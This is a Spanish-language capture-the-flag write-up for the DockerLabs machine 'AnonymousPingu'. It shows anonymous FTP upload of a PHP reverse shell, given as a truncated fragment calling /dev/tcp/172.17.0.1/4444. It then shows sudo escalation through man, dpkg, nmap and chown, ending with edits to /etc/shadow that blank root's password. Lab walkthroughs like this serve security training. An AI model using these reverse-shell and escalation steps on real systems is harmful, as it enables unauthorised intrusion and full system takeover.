> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/anonymouspingu.md).
# 🟩 AnonymousPingu
## 🕵️ Reconocimiento
El escaneo de puertos nos dice que hay un servicio FTP con login anónimo, y un servicio HTTP :
En el servicio FTP se encuentran los archivos utilizados para el servicio web. La carpeta `upload` está habilitada para subir contenido. Además, si accedemos a este directorio desde el servicio web, nos encontramos con un `directory indexing`.
## 🚪 Ganando acceso
Probamos a subir una reverse shell en PHP a la carpeta `upload` por FTP.
```php
& /dev/tcp/172.17.0.1/4444 0>&1'"); ?>
```
## 💥 Escalando privilegios
Si comprobamos los permisos que tenemos con `sudo`, vemos que podemos ejecutar el binario `man` como `pingu` sin necesidad de contraseña.
En [gtfobins](https://gtfobins.github.io/gtfobins/man/) vemos que podemos explotar esta configuración para obtener una shell con el usuario `pingu`. Antes de mostrar la explotación de esta configuración, cabe destacar que es necesario mejorar la shell con los siguientes comandos:
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Suspendemos la terminal con CTRL + Z
stty raw -echo; fg
reset
```
Del mismo modo, con `sudo -l` vemos que podemos ejecutar el binario `dpkg` y `nmap` como `gladys` sin contraseña. Usamos el exploit de gtfobins:
Una vez dentro como gladys, vemos de nuevo que tenemos permisos para ejecutar como `root` el binario `chown` . Esto nos hace poder cambiar el propietario y grupo del fichero que queramos. Si nos hacemos dueños del fichero `/etc/shadow`, podemos mirar posibles contraseñas o escribirlas:
Modificando el fichero, podemos dejar sin contraseña al usuario `root`.